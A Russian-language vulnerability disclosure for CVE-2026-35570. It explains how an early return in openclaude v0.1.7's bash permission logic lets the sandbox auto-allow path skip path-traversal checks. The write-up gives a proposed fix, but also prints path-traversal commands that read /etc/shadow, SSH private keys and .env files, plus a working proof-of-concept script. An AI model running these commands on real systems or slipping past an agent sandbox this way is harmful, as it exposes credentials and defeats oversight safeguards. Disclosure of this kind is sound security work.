
Подробное описание и proof-of-concept для CVE-2026-35570, обход песочницы в openclaude v0.1.7, позволяющий обход пути для чтения и записи произвольных файлов за пределами песочницы.
CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7
Не каждая уязвимость требует сложной цепочки эксплойтов. Иногда одного неудачно расположенного оператора return достаточно, чтобы пробить дыру прямо в вашей модели безопасности. Именно так обстоит дело с CVE-2026-35570.
Этот разбор описывает обход песочницы, который я нашёл в openclaude v0.1.7 — логическую ошибку, позволяющую payload'ам path traversal беспрепятственно проходить сквозь уровень изоляции файловой системы, даже не будучи проверенными.
Я просматривал bashPermissions.ts, когда что-то в потоке управления привлекло моё внимание. Логика разрешений выглядела разумной на первый взгляд — если мы в песочнице, автоматически разрешаем команду; в противном случае запрашиваем пользователя. Достаточно чисто.
Но один вопрос не давал мне покоя: где на самом деле происходит проверка ограничений пути?
Я проследил bashToolHasPermission() сверху донизу и нанёс на карту путь выполнения:
bashToolHasPermission()
│
├─ [~1445] Блок автоматического разрешения песочницы
│ └─ Правило запрета не найдено → return ALLOW ⚠️ Ранний выход
│
└─ [~1644] checkPathConstraints() ❌ Никогда не достигается
Блок песочницы был создан, чтобы пропускать интерактивные запросы разрешений в изолированных средах. Вполне разумно. Проблема в том, что когда он возвращает ALLOW, функция завершается прямо там. checkPathConstraints() — то, что на самом деле отвечает за перехват path traversal, — никогда не выполняется.
Внутри bashToolHasPermission() блок автоматического разрешения песочницы следует такой логике:
В этот момент checkPathConstraints() полностью обходится. Фильтр path traversal не получает шанса что-либо сделать.
С точки зрения атакующего это означает, что такие команды проходят напрямую:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Все они возвращают behavior: allow. Никакого запроса. Никакой блокировки. Ничего.
При наличии этой ошибки становятся возможными три вещи:
Произвольное чтение файлов. Всё, что находится за пределами границы песочницы, становится доступным — /etc/passwd, /etc/shadow, приватные ключи SSH, файлы .env. Пока разрешения на уровне ОС это позволяют, файл может быть прочитан.
Произвольная запись файлов. Та же логика работает и в обратную сторону. Атакующий может записывать данные по путям за пределами песочницы, что открывает возможность перезаписи конфигурационных файлов или размещения содержимого в неожиданных местах.
Полный отказ изоляции песочницы. Весь смысл песочницы — обеспечивать границы файловой системы. При наличии этой ошибки такая гарантия ничего не значит.
CVSS v3.1: 8.4 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Исправление концептуально простое. Блок автоматического разрешения песочницы должен подавлять интерактивные запросы — и всё. Он никогда не должен прерывать полный конвейер разрешений.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Возвращаемся раньше только для deny или ask — никогда не пропускаем проверки пути при allow
return sandboxResult;
}
// Если allow, переходим к checkPathConstraints ниже
}
// Проверка path traversal должна выполняться всегда
return checkPathConstraints(input, appState.toolPermissionContext);
Правило здесь простое: автоматическое разрешение песочницы пропускает запрос, но не проверки безопасности.
| Поле | Детали |
|---|---|
| Пакет | openclaude |
| Затронутая версия | v0.1.7 |
| Исправленная версия | Нет |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (High) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Запустите openclaude с установленными флагами песочницы и автоматического разрешения:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Имена переменных могут незначительно отличаться. Проверьте класс
SandboxManager, чтобы подтвердить точные соответствия переменных окружения для вашей сборки.
Сохраните следующее как poc.ts в корне проекта:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Настройка условий песочницы
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload с path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// Ожидается: "deny" — path traversal должен быть заблокирован
// Фактически: "allow" ← уязвимость подтверждена
Затем запустите его:
npx ts-node poc.ts
Вы увидите:
Result: allow
checkPathConstraints() никогда не вызывался. Чтобы убедиться в этом самостоятельно, добавьте строку логирования в bashPermissions.ts:
// Около строки 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // Это никогда не выведется
// ...
}
Запустите скрипт снова. Лог не появится — функция действительно пропускается.
Откройте openclaude в сессии песочницы и отправьте следующую команду:
cat ../../../../../etc/passwd
Она выполняется без какого-либо запроса разрешений или блокировки и напрямую выводит содержимое /etc/passwd.
CVE-2026-35570